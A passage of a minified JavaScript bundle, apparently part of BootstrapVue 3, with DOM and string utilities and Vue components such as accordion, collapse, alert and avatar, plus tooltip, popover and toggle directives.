e?is(e,t,{enumerable:!0,configurable:!0,writable:!0,value:n}):e[t]=n,ss=(e,t,n)=>(ls(e,\"symbol\"!=typeof t?t+\"\":t,n),n);const us=e=>(0,a.EW)(()=>\"center\"===e.value?\"justify-content-center\":\"end\"===e.value?\"justify-content-end\":\"justify-content-start\"),ds=(e,t)=>Object.keys(e).filter(e=>!t.includes(e)).reduce((t,n)=>({...t,[n]:e[n]}),{}),cs=()=>({enumerable:!0,configurable:!1,writable:!1}),fs=e=>Array.isArray(e)?e.map(e=>fs(e)):e instanceof Date?new Date(e.getTime()):e&&\"object\"==typeof e?Object.getOwnPropertyNames(e).reduce((t,n)=>{var r;return Object.defineProperty(t,n,null!=(r=Object.getOwnPropertyDescriptor(e,n))?r:{}),t[n]=fs(e[n]),t},Object.create(Object.getPrototypeOf(e))):e,ps=e=>new Promise(t=>t(fs(e)));class hs{constructor(e,t={}){if(ss(this,\"cancelable\",!0),ss(this,\"componentId\",null),ss(this,\"defaultPrevented\",!1),ss(this,\"nativeEvent\",null),ss(this,\"preventDefault\"),ss(this,\"relatedTarget\",null),ss(this,\"target\",null),ss(this,\"eventType\",\"\"),ss(this,\"vueTarget\",null),!e)throw new TypeError(`Failed to construct '${this.constructor.name}'. 1 argument required, ${arguments.length} given.`);Object.assign(this,hs.Defaults,this.constructor.Defaults,t,{eventType:e}),Object.defineProperties(this,{type:cs(),cancelable:cs(),nativeEvent:cs(),target:cs(),relatedTarget:cs(),vueTarget:cs(),componentId:cs()});let n=!1;this.preventDefault=function(){this.cancelable&&(n=!0)},Object.defineProperty(this,\"defaultPrevented\",{enumerable:!0,get(){return n}})}static get Defaults(){return{eventType:\"\",cancelable:!0,nativeEvent:null,target:null,relatedTarget:null,vueTarget:null,componentId:null}}}const vs=e=>null!==e&&\"object\"==typeof e,ms=e=>\u002F^[0-9]*\\.?[0-9]+$\u002F.test(String(e)),gs=e=>\"[object Object]\"===Object.prototype.toString.call(e),ys=\u002F_\u002Fg,bs=\u002F([a-z])([A-Z])\u002Fg,$s=\u002F(\\s|^)(\\w)\u002Fg,ws=\u002F(\\s|^)(\\w)\u002F,_s=\u002F\\s+\u002F,ks=\u002F^#\u002F,Cs=\u002F^#[A-Za-z]+[\\w\\-:.]*$\u002F,xs=(e,t=2)=>\"string\"==typeof e?e:null==e?\"\":Array.isArray(e)||gs(e)&&e.toString===Object.prototype.toString?JSON.stringify(e,null,t):String(e),Ss=e=>e.replace(ys,\" \").replace(bs,(e,t,n)=>`${t} ${n}`).replace(ws,(e,t,n)=>t+n.toUpperCase()),Es=e=>e.replace(ys,\" \").replace(bs,(e,t,n)=>`${t} ${n}`).replace($s,(e,t,n)=>t+n.toUpperCase()),Ts=e=>{const t=e.trim();return t.charAt(0).toUpperCase()+t.slice(1)},Rs=e=>`\\\\${e}`,Os=e=>{const t=xs(e),{length:n}=t,r=t.charCodeAt(0);return t.split(\"\").reduce((e,a,o)=>{const i=t.charCodeAt(o);return 0===i?`${e}�`:127===i||i>=1&&i\u003C=31||0===o&&i>=48&&i\u003C=57||1===o&&i>=48&&i\u003C=57&&45===r?e+Rs(`${i.toString(16)} `):0===o&&45===i&&1===n?e+Rs(a):i>=128||45===i||95===i||i>=48&&i\u003C=57||i>=65&&i\u003C=90||i>=97&&i\u003C=122?e+a:e+Rs(a)},\"\")},Ms=typeof window\u003C\"u\",As=typeof document\u003C\"u\",Ds=typeof navigator\u003C\"u\",Ws=Ms&&As&&Ds,Bs=As?document:{},Ps=e=>!(!e||e.nodeType!==Node.ELEMENT_NODE),Is=e=>Ps(e)?e.getBoundingClientRect():null,Ns=(e=[])=>{const{activeElement:t}=document;return t&&!e.some(e=>e===t)?t:null},Ls=e=>Ps(e)&&e===Ns(),js=(e,t={})=>{try{e.focus(t)}catch(n){console.error(n)}return Ls(e)},Fs=(e,t)=>t&&Ps(e)&&e.getAttribute(t)||null,Vs=e=>{if(\"none\"===Fs(e,\"display\"))return!1;const t=Is(e);return!!(t&&t.height>0&&t.width>0)},Us=(e,t)=>!e||e(t).filter(e=>e.type!==a.Mw).length\u003C1,Xs=(e,t)=>(Ps(t)?t:Bs).querySelector(e)||null,Hs=(e,t)=>Array.from([(Ps(t)?t:Bs).querySelectorAll(e)]),Gs=(e,t)=>t&&Ps(e)?e.getAttribute(t):null,Ys=(e,t,n)=>{t&&Ps(e)&&e.setAttribute(t,n)},zs=(e,t)=>{t&&Ps(e)&&e.removeAttribute(t)},Ks=(e,t)=>xs(e).toLowerCase()===xs(t).toLowerCase(),qs=Ms?window.requestAnimationFrame||window.webkitRequestAnimationFrame||window.mozRequestAnimationFrame||window.msRequestAnimationFrame||window.oRequestAnimationFrame||(e=>setTimeout(e,16)):e=>setTimeout(e,0),Qs=(e,t,n)=>t.concat([\"sm\",\"md\",\"lg\",\"xl\",\"xxl\"]).reduce((t,r)=>(t[e?`${e}${r.charAt(0).toUpperCase()+r.slice(1)}`:r]=n,t),Object.create(null)),Zs=(e,t,n,r=n)=>Object.keys(t).reduce((t,a)=>(e[a]&&t.push([r,a.replace(n,\"\"),e[a]].filter(e=>e&&\"boolean\"!=typeof e).join(\"-\").toLowerCase()),t),[]),Js=(e=\"\")=>`__BVID__${Math.random().toString().slice(2,8)}___BV_${e}__`,eu=(e,t)=>!0===e||\"true\"===e||\"\"===e?\"true\":\"grammar\"===e||\"spelling\"===e?e:!1===t?\"true\":!1===e||\"false\"===e?\"false\":void 0,tu=e=>!!e&&\"object\"==typeof e&&e.constructor===Object,nu=(e,t,n=!0)=>{const r=e instanceof Date&&\"function\"==typeof e.getMonth?new Date(e.getTime()):Object.assign({},e);return tu(e)&&tu(t)&&Object.keys(t).forEach(a=>{tu(t[a])?a in e?r[a]=nu(e[a],t[a],n):Object.assign(r,{[a]:t[a]}):Array.isArray(t[a])&&Array.isArray(e[a])?Object.assign(r,{[a]:n?e[a].concat(t[a].filter(t=>!e[a].includes(t))):t[a]}):Object.assign(r,{[a]:t[a]})}),r},ru=(e,t={},n={})=>{const r=[e];let a;for(let o=0;o\u003Cr.length&&!a;o++){const e=r[o];a=n[e]}return a&&\"function\"==typeof a?a(t):a},au=(e,t=NaN)=>Number.isInteger(e)?e:t,ou=(e,t=NaN)=>{const n=Number.parseInt(e,10);return Number.isNaN(n)?t:n},iu=(e,t=NaN)=>{const n=Number.parseFloat(e.toString());return Number.isNaN(n)?t:n},lu=(e,t)=>t+(e?Ts(e):\"\"),su=(e,t)=>(Array.isArray(t)?t.slice():Object.keys(t)).reduce((t,n)=>(t[n]=e[n],t),{}),uu=e=>\"boolean\"==typeof e?e:\"\"===e||\"true\"===e,du=e=>!(!e.href&&!e.to);function cu(e){return(0,a.EW)(()=>void 0===e.value?void 0:uu(e.value))}const fu=Symbol(),pu={items:(0,o.Kh)([]),reset(){this.items=(0,o.Kh)([])}},hu=e=>{e.provide(fu,pu)},vu=()=>{const e=(0,a.WQ)(fu);return e||pu},mu=(e,t,n)=>{(0,a.sV)(()=>{var r;null==(r=null==e?void 0:e.value)||r.addEventListener(t,n)}),(0,a.xo)(()=>{var r;null==(r=null==e?void 0:e.value)||r.removeEventListener(t,n)})},gu=e=>(0,a.EW)(()=>({\"form-check\":!e.plain&&!e.button,\"form-check-inline\":e.inline,\"form-switch\":e.switch,[`form-control-${e.size}`]:e.size&&\"md\"!==e.size})),yu=e=>(0,a.EW)(()=>({\"form-check-input\":!e.plain&&!e.button,\"is-valid\":!0===e.state,\"is-invalid\":!1===e.state,\"btn-check\":e.button})),bu=e=>(0,a.EW)(()=>({\"form-check-label\":!e.plain&&!e.button,btn:e.button,[`btn-${e.buttonVariant}`]:e.button,[`btn-${e.size}`]:e.button&&e.size&&\"md\"!==e.size})),$u=e=>(0,a.EW)(()=>{var t;return{\"aria-invalid\":eu(e.ariaInvalid,e.state),\"aria-required\":\"true\"===(null==(t=e.required)?void 0:t.toString())?\"true\":null}}),wu=e=>(0,a.EW)(()=>({\"was-validated\":e.validated,\"btn-group\":e.buttons&&!e.stacked,\"btn-group-vertical\":e.stacked,[`btn-group-${e.size}`]:e.size})),_u=(e,t,n)=>e.reduce((e,t)=>\"Symbol(Fragment)\"===t.type.toString()?e.concat(t.children):e.concat([t]),[]).filter(e=>(e.type.__name||e.type.name)===t).map(e=>{const t=(e.children.default?e.children.default():[]).find(e=>\"Symbol(Text)\"===e.type.toString());return{props:{disabled:n,...e.props},text:t?t.children:\"\"}}),ku=(e,t)=>\"string\"==typeof e?{props:{value:e,disabled:t.disabled},text:e}:{props:{value:e[t.valueField],disabled:t.disabled||e[t.disabledField],...e.props},text:e[t.textField],html:e[t.htmlField]},Cu=(e,t,n,r,a)=>({...e,props:{\"button-variant\":n.buttonVariant,form:n.form,name:r.value,id:`${a.value}_option_${t}`,button:n.buttons,state:n.state,plain:n.plain,size:n.size,inline:!n.stacked,required:n.required,...e.props}}),xu=(e,t)=>(0,a.EW)(()=>(null==e?void 0:e.value)||Js(t)),Su={ariaInvalid:{type:[Boolean,String],default:void 0},autocomplete:{type:String,required:!1},autofocus:{type:Boolean,default:!1},disabled:{type:Boolean,default:!1},form:{type:String,required:!1},formatter:{type:Function,required:!1},id:{type:String,required:!1},lazy:{type:Boolean,default:!1},lazyFormatter:{type:Boolean,default:!1},list:{type:String,required:!1},modelValue:{type:[String,Number],default:\"\"},name:{type:String,required:!1},number:{type:Boolean,default:!1},placeholder:{type:String,required:!1},plaintext:{type:Boolean,default:!1},readonly:{type:Boolean,default:!1},required:{type:Boolean,default:!1},size:{type:String,required:!1},state:{type:Boolean,default:null},trim:{type:Boolean,default:!1}},Eu=(e,t)=>{const n=(0,o.KR)();let r=null,i=!0;const l=xu((0,o.lW)(e,\"id\"),\"input\"),s=(t,n,r=!1)=>(t=String(t),\"function\"!=typeof e.formatter||e.lazyFormatter&&!r?t:(i=!1,e.formatter(t,n))),u=t=>e.trim?t.trim():e.number?Number.parseFloat(t):t,d=()=>{(0,a.dY)(()=>{var t;e.autofocus&&(null==(t=n.value)||t.focus())})};(0,a.sV)(d),(0,a.sV)(()=>{n.value&&(n.value.value=e.modelValue)}),(0,a.n)(d);const c=(0,a.EW)(()=>{var t;return eu(e.ariaInvalid,null!=(t=e.state)?t:void 0)}),f=n=>{const{value:a}=n.target,o=s(a,n);if(!1===o||n.defaultPrevented)return void n.preventDefault();if(e.lazy)return;const i=u(o);e.modelValue!==i&&(r=a,t(\"update:modelValue\",i)),t(\"input\",o)},p=n=>{const{value:a}=n.target,o=s(a,n);if(!1===o||n.defaultPrevented)return void n.preventDefault();if(!e.lazy)return;r=a,t(\"update:modelValue\",o);const i=u(o);e.modelValue!==i&&t(\"change\",o)},h=n=>{if(t(\"blur\",n),!e.lazy&&!e.lazyFormatter)return;const{value:a}=n.target,o=s(a,n,!0);r=a,t(\"update:modelValue\",o)},v=()=>{var t;e.disabled||null==(t=n.value)||t.focus()},m=()=>{var t;e.disabled||null==(t=n.value)||t.blur()};return(0,a.wB)(()=>e.modelValue,e=>{!n.value||(n.value.value=r&&i?r:e,r=null,i=!0)}),{input:n,computedId:l,computedAriaInvalid:c,onInput:f,onChange:p,onBlur:h,focus:v,blur:m}},Tu=(e,t)=>{if(!e)return e;if(t in e)return e[t];const n=t.split(\".\");return Tu(e[n[0]],n.splice(1).join(\".\"))},Ru=(e,t=null,n,r)=>{if(\"[object Object]\"===Object.prototype.toString.call(e)){const a=Tu(e,r.valueField),o=Tu(e,r.textField),i=Tu(e,r.htmlField),l=Tu(e,r.disabledField),s=e[r.optionsField]||null;return null!==s?{label:String(Tu(e,r.labelField)||o),options:Ou(s,n,r)}:{value:typeof a>\"u\"?t||o:a,text:String(typeof o>\"u\"?t:o),html:i,disabled:Boolean(l)}}return{value:t||e,text:String(e),disabled:!1}},Ou=(e,t,n)=>Array.isArray(e)?e.map(e=>Ru(e,null,t,n)):\"[object Object]\"===Object.prototype.toString.call(e)?(console.warn(`[BootstrapVue warn]: ${t} - Setting prop \"options\" to an object is deprecated. Use the array format instead.`),Object.keys(e).map(r=>{const a=e[r];switch(typeof a){case\"object\":return Ru(a.text,String(a.value),t,n);default:return Ru(a,String(r),t,n)}})):[],Mu=[\"id\"],Au=Symbol(),Du=(0,a.pM)({__name:\"BAccordion\",props:{flush:{default:!1},free:{default:!1},id:null},setup(e){const t=e,n=xu((0,o.lW)(t,\"id\"),\"accordion\"),r=cu((0,o.lW)(t,\"flush\")),l=cu((0,o.lW)(t,\"free\")),s=(0,a.EW)(()=>({\"accordion-flush\":r.value}));return l.value||(0,a.Gt)(Au,n.value.toString()),(e,t)=>((0,a.uX)(),(0,a.CE)(\"div\",{id:(0,o.R1)(n),class:(0,i.C4)([\"accordion\",(0,o.R1)(s)])},[(0,a.RG)(e.$slots,\"default\")],10,Mu))}}),Wu=(0,a.pM)({__name:\"BCollapse\",props:{accordion:null,id:{default:Js()},modelValue:{default:!1},tag:{default:\"div\"},toggle:{default:!1},visible:{default:!1},isNav:{default:!1}},emits:[\"update:modelValue\",\"show\",\"shown\",\"hide\",\"hidden\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"modelValue\")),l=cu((0,o.lW)(n,\"toggle\")),s=cu((0,o.lW)(n,\"visible\")),u=cu((0,o.lW)(n,\"isNav\")),d=(0,o.KR)(),c=(0,o.KR)(),f=(0,a.EW)(()=>({show:r.value,\"navbar-collapse\":u.value})),p=()=>t(\"update:modelValue\",!1);return mu(d,\"show.bs.collapse\",()=>{t(\"show\"),t(\"update:modelValue\",!0)}),mu(d,\"hide.bs.collapse\",()=>{t(\"hide\"),t(\"update:modelValue\",!1)}),mu(d,\"shown.bs.collapse\",()=>t(\"shown\")),mu(d,\"hidden.bs.collapse\",()=>t(\"hidden\")),(0,a.sV)(()=>{var e;c.value=new Qr(d.value,{parent:n.accordion?`#${n.accordion}`:void 0,toggle:l.value}),(s.value||r.value)&&(t(\"update:modelValue\",!0),null==(e=c.value)||e.show())}),(0,a.wB)(()=>r.value,e=>{var t,n;e?null==(t=c.value)||t.show():null==(n=c.value)||n.hide()}),(0,a.wB)(()=>s.value,e=>{var n,r;e?(t(\"update:modelValue\",!!e),null==(n=c.value)||n.show()):(t(\"update:modelValue\",!!e),null==(r=c.value)||r.hide())}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{id:e.id,ref_key:\"element\",ref:d,class:(0,i.C4)([\"collapse\",(0,o.R1)(f)]),\"data-bs-parent\":e.accordion||null,\"is-nav\":(0,o.R1)(u)},{default:(0,a.k6)(()=>[(0,a.RG)(t.$slots,\"default\",{visible:(0,o.R1)(r),close:p})]),_:3},8,[\"id\",\"class\",\"data-bs-parent\",\"is-nav\"]))}}),Bu={mounted(e,t){let n=t.value;Object.keys(t.modifiers).length>0&&([n]=Object.keys(t.modifiers)),e.setAttribute(\"data-bs-toggle\",\"modal\"),e.setAttribute(\"data-bs-target\",`#${n}`)}},Pu={mounted(e,t){let n=\"right\";const r=[];t.modifiers.left?n=\"left\":t.modifiers.right?n=\"right\":t.modifiers.bottom?n=\"bottom\":t.modifiers.top&&(n=\"top\"),t.modifiers.manual?r.push(\"manual\"):(t.modifiers.click&&r.push(\"click\"),t.modifiers.hover&&r.push(\"hover\"),t.modifiers.focus&&r.push(\"focus\")),e.setAttribute(\"data-bs-toggle\",\"popover\"),new Xi(e,{trigger:0===r.length?\"click\":r.join(\" \"),placement:n,content:t.value})},unmounted(e){const t=Xi.getInstance(e);null==t||t.dispose()}},Iu=e=>{if(e.classList.contains(\"offcanvas\"))return\"offcanvas\";if(e.classList.contains(\"collapse\"))return\"collapse\";throw Error(\"Couldn't resolve toggle type\")},Nu=(e,t)=>{const{modifiers:n,arg:r,value:a}=e,o=Object.keys(n||{}),i=\"string\"==typeof a?a.split(_s):a;if(Ks(t.tagName,\"a\")){const e=Gs(t,\"href\")||\"\";Cs.test(e)&&o.push(e.replace(ks,\"\"))}return Array.prototype.concat.apply([],[r,i]).forEach(e=>\"string\"==typeof e&&o.push(e)),o.filter((e,t,n)=>e&&n.indexOf(e)===t)},Lu={mounted(e,t){const n=Nu(t,e),r=[];let a=\"data-bs-target\";\"a\"===e.tagName&&(a=\"href\");for(let o=0;o\u003Cn.length;o++){const t=n[o],a=document.getElementById(t);a&&(e.setAttribute(\"data-bs-toggle\",Iu(a)),r.push(`#${t}`))}r.length>0&&e.setAttribute(a,r.join(\",\"))}},ju=(e,t)=>{if(null!=t&&t.trigger)return t.trigger;if(e.manual)return\"manual\";const n=[];return e.click&&n.push(\"click\"),e.hover&&n.push(\"hover\"),e.focus&&n.push(\"focus\"),n.length>0?n.join(\" \"):\"hover focus\"},Fu=(e,t)=>null!=t&&t.placement?t.placement:e.left?\"left\":e.right?\"right\":e.bottom?\"bottom\":\"top\",Vu=e=>null!=e&&e.delay?e.delay:0,Uu=e=>\"object\"==typeof e?null==e?void 0:e.title:e,Xu={beforeMount(e,t){e.setAttribute(\"data-bs-toggle\",\"tooltip\"),e.getAttribute(\"title\")||e.setAttribute(\"title\",Uu(t.value).toString());const n=\u002F\u003C(\"[^\"]*\"|'[^']*'|[^'\">])*>\u002F.test(e.title),r=ju(t.modifiers,t.value),a=Fu(t.modifiers,t.value),o=Vu(t.value),i=e.getAttribute(\"title\");new Ni(e,{trigger:r,placement:a,delay:o,html:n}),i&&e.setAttribute(\"data-bs-original-title\",i)},updated(e,t){e.getAttribute(\"title\")||e.setAttribute(\"title\",Uu(t.value).toString());const n=e.getAttribute(\"title\"),r=e.getAttribute(\"data-bs-original-title\"),a=Ni.getInstance(e);e.removeAttribute(\"title\"),n&&n!==r&&(null==a||a.setContent({\".tooltip-inner\":n}),e.setAttribute(\"data-bs-original-title\",n))},unmounted(e){const t=Ni.getInstance(e);null==t||t.dispose()}},Hu=new Map,Gu=e=>{if(Hu.has(e)){const t=Hu.get(e);t&&t.stop&&t.stop(),Hu.delete(e)}},Yu=(e,t)=>{const n={margin:\"0px\",once:!1,callback:t.value};Object.keys(t.modifiers).forEach(e=>{Number.isInteger(e)?n.margin=`${e}px`:\"once\"===e.toLowerCase()&&(n.once=!0)}),Gu(e);const r=new Ku(e,n.margin,n.once,n.callback,t.instance);Hu.set(e,r)},zu={beforeMount(e,t){Yu(e,t)},updated(e,t){Yu(e,t)},unmounted(e){Gu(e)}};class Ku{constructor(e,t,n,r,a){ss(this,\"element\"),ss(this,\"margin\"),ss(this,\"once\"),ss(this,\"callback\"),ss(this,\"instance\"),ss(this,\"observer\"),ss(this,\"doneOnce\"),ss(this,\"visible\"),this.element=e,this.margin=t,this.once=n,this.callback=r,this.instance=a,this.createObserver()}createObserver(){if(this.observer&&this.stop(),!this.doneOnce&&\"function\"==typeof this.callback){try{this.observer=new IntersectionObserver(this.handler.bind(this),{root:null,rootMargin:this.margin,threshold:0})}catch{return console.error(\"Intersection Observer not supported\"),this.doneOnce=!0,this.observer=void 0,void this.callback(null)}this.instance.$nextTick(()=>{this.observer&&this.observer.observe(this.element)})}}handler(e){const[t]=e,n=Boolean(t.isIntersecting||t.intersectionRatio>0);n!==this.visible&&(this.visible=n,this.callback(n),this.once&&this.visible&&(this.doneOnce=!0,this.stop()))}stop(){this.observer&&this.observer.disconnect(),this.observer=null}}const qu={mounted(e,t){!1!==t.value&&e.focus()}},Qu={BModal:Bu,BPopover:Pu,BToggle:Lu,BTooltip:Xu,BVisible:zu,focus:qu},Zu={class:\"accordion-item\"},Ju=[\"id\"],ed=[\"aria-expanded\",\"aria-controls\"],td={class:\"accordion-body\"},nd=(0,a.pM)({__name:\"BAccordionItem\",props:{id:null,title:null,visible:{default:!1}},setup(e){const t=e,n=cu((0,o.lW)(t,\"visible\")),r=xu((0,o.lW)(t,\"id\"),\"accordion_item\"),l=(0,a.WQ)(Au,\"\");return(t,s)=>((0,a.uX)(),(0,a.CE)(\"div\",Zu,[(0,a.Lk)(\"h2\",{id:`${(0,o.R1)(r)}heading`,class:\"accordion-header\"},[(0,a.bo)(((0,a.uX)(),(0,a.CE)(\"button\",{class:(0,i.C4)([\"accordion-button\",{collapsed:!(0,o.R1)(n)}]),type:\"button\",\"aria-expanded\":(0,o.R1)(n)?\"true\":\"false\",\"aria-controls\":(0,o.R1)(r)},[(0,a.RG)(t.$slots,\"title\",{},()=>[(0,a.eW)((0,i.v_)(e.title),1)])],10,ed)),[[(0,o.R1)(Lu),void 0,(0,o.R1)(r)]])],8,Ju),(0,a.bF)(Wu,{id:(0,o.R1)(r),class:\"accordion-collapse\",visible:(0,o.R1)(n),accordion:(0,o.R1)(l),\"aria-labelledby\":`heading${(0,o.R1)(r)}`},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",td,[(0,a.RG)(t.$slots,\"default\")])]),_:3},8,[\"id\",\"visible\",\"accordion\",\"aria-labelledby\"])]))}}),rd=[\"type\",\"disabled\",\"aria-label\"],ad=(0,a.pM)({__name:\"BCloseButton\",props:{ariaLabel:{default:\"Close\"},disabled:{default:!1},white:{default:!1},type:{default:\"button\"}},emits:[\"click\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"disabled\")),l=cu((0,o.lW)(n,\"white\")),s=(0,a.EW)(()=>({\"btn-close-white\":l.value}));return(n,l)=>((0,a.uX)(),(0,a.CE)(\"button\",{type:e.type,class:(0,i.C4)([\"btn-close\",(0,o.R1)(s)]),disabled:(0,o.R1)(r),\"aria-label\":e.ariaLabel,onClick:l[0]||(l[0]=e=>t(\"click\",e))},null,10,rd))}}),od=(0,a.pM)({__name:\"BAlert\",props:{dismissLabel:{default:\"Close\"},dismissible:{default:!1},fade:{default:!1},modelValue:{type:[Boolean,Number],default:!1},show:{default:!1},variant:{default:\"info\"}},emits:[\"closed\",\"close-count-down\",\"update:modelValue\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"dismissible\"));cu((0,o.lW)(n,\"fade\"));const l=cu((0,o.lW)(n,\"show\")),s=(0,o.KR)(null),u=(0,o.KR)(),d=(0,a.EW)(()=>({[`alert-${n.variant}`]:!!n.variant,show:!!n.modelValue,\"alert-dismissible\":r.value,fade:!!n.modelValue}));let c;const f=e=>{if(\"boolean\"==typeof e)return 0;const t=au(e,0);return t>0?t:0},p=()=>{void 0!==c&&(clearTimeout(c),c=void 0)},h=(0,o.KR)(f(n.modelValue)),v=(0,a.EW)(()=>!!n.modelValue||l.value);(0,a.xo)(()=>{var e;p(),null==(e=u.value)||e.dispose(),u.value=void 0});const m=(0,a.EW)(()=>!0===n.modelValue||!(!1===n.modelValue||au(n.modelValue,0)\u003C1)&&!!n.modelValue),g=()=>{h.value=f(n.modelValue),(m.value||l.value)&&!u.value&&(u.value=new Cn(s.value))},y=()=>{\"boolean\"==typeof n.modelValue?t(\"update:modelValue\",!1):t(\"update:modelValue\",0),t(\"closed\")};return(0,a.wB)(()=>n.modelValue,g),(0,a.wB)(()=>l.value,g),(0,a.wB)(h,e=>{p(),\"boolean\"!=typeof n.modelValue&&(t(\"close-count-down\",e),0===e&&n.modelValue>0&&t(\"closed\"),n.modelValue!==e&&t(\"update:modelValue\",e),e>0&&(c=setTimeout(()=>{h.value--},1e3)))}),(t,n)=>(0,o.R1)(v)?((0,a.uX)(),(0,a.CE)(\"div\",{key:0,ref_key:\"element\",ref:s,class:(0,i.C4)([\"alert\",(0,o.R1)(d)]),role:\"alert\"},[(0,a.RG)(t.$slots,\"default\"),(0,o.R1)(r)?((0,a.uX)(),(0,a.CE)(a.FK,{key:0},[t.$slots.close?((0,a.uX)(),(0,a.CE)(\"button\",{key:0,type:\"button\",\"data-bs-dismiss\":\"alert\",onClick:y},[(0,a.RG)(t.$slots,\"close\")])):((0,a.uX)(),(0,a.Wv)(ad,{key:1,\"aria-label\":e.dismissLabel,\"data-bs-dismiss\":\"alert\",onClick:y},null,8,[\"aria-label\"]))],64)):(0,a.Q3)(\"\",!0)],2)):(0,a.Q3)(\"\",!0)}}),id=Symbol(),ld=(0,a.pM)({__name:\"BAvatarGroup\",props:{overlap:{default:.3},rounded:{type:[Boolean,String],default:!1},size:null,square:{default:!1},tag:{default:\"div\"},variant:null},setup(e){const t=e,n=cu((0,o.lW)(t,\"square\")),r=(0,a.EW)(()=>cd(t.size)),l=e=>\"string\"==typeof e&&ms(e)?iu(e,0):e||0,s=(0,a.EW)(()=>Math.min(Math.max(l(t.overlap),0),1)\u002F2),u=(0,a.EW)(()=>{const e=r.value?`calc(${r.value} * ${s.value})`:null;return e?{paddingLeft:e,paddingRight:e}:{}});return(0,a.Gt)(id,{overlapScale:s,size:t.size,square:n.value,rounded:t.rounded,variant:t.variant}),(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)(e.tag),{class:\"b-avatar-group\",role:\"group\"},{default:(0,a.k6)(()=>[(0,a.Lk)(\"div\",{class:\"b-avatar-group-inner\",style:(0,i.Tr)((0,o.R1)(u))},[(0,a.RG)(t.$slots,\"default\")],4)]),_:3}))}}),sd={key:0,class:\"b-avatar-custom\"},ud={key:1,class:\"b-avatar-img\"},dd=[\"src\",\"alt\"],cd=e=>{const t=\"string\"==typeof e&&ms(e)?iu(e,0):e;return\"number\"==typeof t?`${t}px`:t||null},fd=(0,a.pM)({__name:\"BAvatar\",props:{alt:{default:\"avatar\"},ariaLabel:null,badge:{type:[Boolean,String],default:!1},badgeLeft:{default:!1},badgeOffset:null,badgeTop:{default:!1},badgeVariant:{default:\"primary\"},button:{default:!1},buttonType:{default:\"button\"},disabled:{default:!1},icon:null,rounded:{type:[Boolean,String],default:\"circle\"},size:null,square:{default:!1},src:null,text:null,textVariant:{default:void 0},variant:{default:\"secondary\"}},emits:[\"click\",\"img-error\"],setup(e,{emit:t}){const n=e,r=cu((0,o.lW)(n,\"badgeLeft\")),l=cu((0,o.lW)(n,\"badgeTop\")),s=cu((0,o.lW)(n,\"button\")),u=cu((0,o.lW)(n,\"disabled\")),d=cu((0,o.lW)(n,\"square\")),c=(0,a.Ht)(),f=[\"sm\",null,\"lg\"],p=.4,h=.7*p,v=(0,a.WQ)(id,null),m=e=>{const t=e;return\"light\"===t||\"warning\"===t?\"dark\":\"light\"},g=(0,a.EW)(()=>!Us(c.default)),y=(0,a.EW)(()=>!Us(c.badge)),b=(0,a.EW)(()=>n.badge||\"\"===n.badge||y.value),$=(0,a.EW)(()=>null!=v&&v.size?v.size:cd(n.size)),w=(0,a.EW)(()=>null!=v&&v.variant?v.variant:n.variant),_=(0,a.EW)(()=>null!=v&&v.rounded?v.rounded:n.rounded),k=(0,a.EW)(()=>({type:s.value?n.buttonType:void 0,\"aria-label\":n.ariaLabel||null,disabled:u.value||null})),C=(0,a.EW)(()=>({[`bg-${n.badgeVariant}`]:!!n.badgeVariant})),x=(0,a.EW)(()=>!0===n.badge?\"\":n.badge),S=(0,a.EW)(()=>`text-${m(n.badgeVariant)}`),E=(0,a.EW)(()=>({[`b-avatar-${n.size}`]:!!n.size&&-1!==f.indexOf(cd(n.size)),[`bg-${w.value}`]:!!w.value,badge:!s.value&&w.value&&g.value,rounded:\"\"===_.value||!0===_.value,[\"rounded-circle\"]:!d.value&&\"circle\"===_.value,[\"rounded-0\"]:d.value||\"0\"===_.value,[\"rounded-1\"]:!d.value&&\"sm\"===_.value,[\"rounded-3\"]:!d.value&&\"lg\"===_.value,[\"rounded-top\"]:!d.value&&\"top\"===_.value,[\"rounded-bottom\"]:!d.value&&\"bottom\"===_.value,[\"rounded-start\"]:!d.value&&\"left\"===_.value,[\"rounded-end\"]:!d.value&&\"right\"===_.value,btn:s.value,[`btn-${w.value}`]:!!s.value&&!!w.value})),T=(0,a.EW)(()=>`text-${n.textVariant||m(w.value)}`),R=(0,a.EW)(()=>{const e=n.badgeOffset||\"0px\";return{fontSize:(-1===f.indexOf($.value||null)?`calc(${$.value} * ${h})`:\"\")||\"\",top:l.value?e:\"\",bottom:l.value?\"\":e,left:r.value?e:\"\",right:r.value?\"\":e}}),O=(0,a.EW)(()=>{const e=-1===f.indexOf($.value||null)?`calc(${$.value} * ${p})`:null;return e?{fontSize:e}:{}}),M=(0,a.EW)(()=>{var e;const t=(null==(e=null==v?void 0:v.overlapScale)?void 0:e.value)||0,n=$.value&&t?`calc(${$.value} * -${t})`:null;return n?{marginLeft:n,marginRight:n}:{}}),A=(0,a.EW)(()=>s.value?\"button\":\"span\"),D=(0,a.EW)(()=>({...M.value,width:$.value,height:$.value})),W=e=>{!u.value&&s.value&&t(\"click\",e)},B=e=>t(\"img-error\",e);return(t,n)=>((0,a.uX)(),(0,a.Wv)((0,a.$y)((0,o.R1)(A)),(0,a.v6)({class:[\"b-avatar\",(0,o.R1)(E)],style:(0,o.R1)(D)},(0,o.R1)(k),{onClick:W}),{default:(0,a.k6)(()=>[(0,o.R1)(g)?((0,a.uX)(),(0,a.CE)(\"span\",sd,[(0,a.RG)(t.$slots,\"default\")])):e.src?((0,a.uX)(),(0,a.CE)(\"span\",ud,[(0,a.Lk)(\"img\",{src:e.src,alt:e.alt,onError:B},null,40,dd)])):e.text?((0,a.uX)(),(0,a.CE)(\"span\",{key:2,class:(0,i.C4)([\"b-avatar-text\",(0,o.R1)(T)]),style:(0,i.Tr)((0,o.R1)(O))},(0,i.v_)(e.text),7)):(0,a.Q3)(\"\",!0),(0,o.R1)(b)?((0,a.uX)(),(0,a.CE)(\"span\",{key:3,class:(0,i.C4)([\"b-avatar-badge\",(0,o.R1)(C)]),style:(0,i.Tr)((0,o.R1)(R))},[(0,o.R1)(y)?(0,a.RG)(t.$slots,\"badge\",{key:0}):((0,a.uX)(),(0,a.CE)(\"span\",{key:1,class:(0,i.C4)((0,o.R1)(S))},(0,i.v_)((0,o.R1)(x)),3))],6)):(0,a.Q3)(\"\",!0)]),_:3},16,[\"class\",\"style\"]))}}),pd={act